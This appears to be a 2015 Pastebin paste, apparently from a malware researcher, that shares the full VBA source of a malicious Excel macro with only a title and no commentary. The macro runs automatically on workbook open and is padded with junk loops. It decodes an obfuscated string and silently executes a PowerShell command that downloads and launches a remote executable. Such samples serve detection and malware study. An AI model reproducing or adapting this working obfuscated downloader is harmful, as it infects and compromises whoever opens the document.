SHARE
TWEET

Malicious Excel macro

dynamoo Feb 13th, 2015 232 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ÝòàÊíèãà"
  2. Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = False
  8. Attribute VB_Customizable = True
  9.  
  10. Sub Workbook_Open()
  11. Dim sxDmlDGZ As Integer
  12. For sxDmlDGZ = 0 To 4
  13. Dim FiAlZHWv As Integer
  14. For FiAlZHWv = 0 To 9
  15. DoEvents
  16. Next FiAlZHWv
  17. DoEvents
  18. Next sxDmlDGZ
  19. Dim ffAkQrGQ As Integer
  20. For ffAkQrGQ = 0 To 5
  21. DoEvents
  22. Next ffAkQrGQ
  23. oJUIdsfdsF = OlFdL0IOXbF("±»²n}™nž½Å³À¡¶³ºº|³Æ³nvœ³Å{°¸³±Ân¡ÇÁ³»|œ³Â|¥³°‘º·³¼Âw|’½Å¼º½¯²”·º³vu¶Â¾ˆ}}‡ƒ|„|€|€…}¯¹Á¸²²³ÀŲ}¯Á²°Å¹}²¶½³·|³Æ³uzus¢“›žsª½£¶¸·²Á´|³Æ³uw‰¡Â¯ÀÂ{žÀ½±³ÁÁnus¢“›žsª½£¶¸·²Á´|³Æ³u‰", "78")
  24. Dim mwlXRRMn As Integer
  25. For mwlXRRMn = 0 To 9
  26. Dim EmMXtScD As Integer
  27. For EmMXtScD = 0 To 4
  28. DoEvents
  29. Next EmMXtScD
  30. DoEvents
  31. Next mwlXRRMn
  32. Dim jWtyraXh As Integer
  33. For jWtyraXh = 0 To 2
  34. DoEvents
  35. Next jWtyraXh
  36. Shell oJUIdsfdsF, vbHide
  37. End Sub
  38.  
  39. Public Function OlFdL0IOXbF(ByVal InputData As String, ByVal NumKey As Integer) As String
  40. Dim i As Long, OutChar As String
  41. For i = 1 To Len(InputData)
  42. Dim FqjuMBHm As Integer
  43. For FqjuMBHm = 0 To 6
  44. Dim tfBRkgNR As Integer
  45. For tfBRkgNR = 0 To 6
  46. DoEvents
  47. Next tfBRkgNR
  48. DoEvents
  49. Next FqjuMBHm
  50. Dim JGoFjEbi As Integer
  51. For JGoFjEbi = 0 To 6
  52. DoEvents
  53. Next JGoFjEbi
  54. OutChar = Asc(Mid(InputData, i, 1)) - NumKey
  55. While OutChar < 0
  56. Dim UVMKvtXD As Integer
  57. For UVMKvtXD = 0 To 5
  58. Dim SvyacOAG As Integer
  59. For SvyacOAG = 0 To 5
  60. DoEvents
  61. Next SvyacOAG
  62. DoEvents
  63. Next UVMKvtXD
  64. Dim SlbANPcr As Integer
  65. For SlbANPcr = 0 To 6
  66. DoEvents
  67. Next SlbANPcr
  68. OutChar = OutChar + 256
  69. Dim rkOPdIvx As Integer
  70. For rkOPdIvx = 0 To 5
  71. Dim pOUWlfCz As Integer
  72. For pOUWlfCz = 0 To 6
  73. DoEvents
  74. Next pOUWlfCz
  75. DoEvents
  76. Next rkOPdIvx
  77. Dim jKlXnybu As Integer
  78. For jKlXnybu = 0 To 8
  79. DoEvents
  80. Next jKlXnybu
  81. Wend
  82. Dim mvteclmh As Integer
  83. For mvteclmh = 0 To 2
  84. Dim pORpyoOA As Integer
  85. For pORpyoOA = 0 To 7
  86. DoEvents
  87. Next pORpyoOA
  88. DoEvents
  89. Next mvteclmh
  90. Dim kKkqfasT As Integer
  91. For kKkqfasT = 0 To 2
  92. DoEvents
  93. Next kKkqfasT
  94.  OlFdL0IOXbF = OlFdL0IOXbF + Chr(OutChar)
  95. Dim tfesHImQ As Integer
  96. For tfesHImQ = 0 To 5
  97. Dim XhhmRvEb As Integer
  98. For XhhmRvEb = 0 To 1
  99. DoEvents
  100. Next XhhmRvEb
  101. DoEvents
  102. Next tfesHImQ
  103. Dim evzwSjyR As Integer
  104. For evzwSjyR = 0 To 3
  105. DoEvents
  106. Next evzwSjyR
  107. Next
  108. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top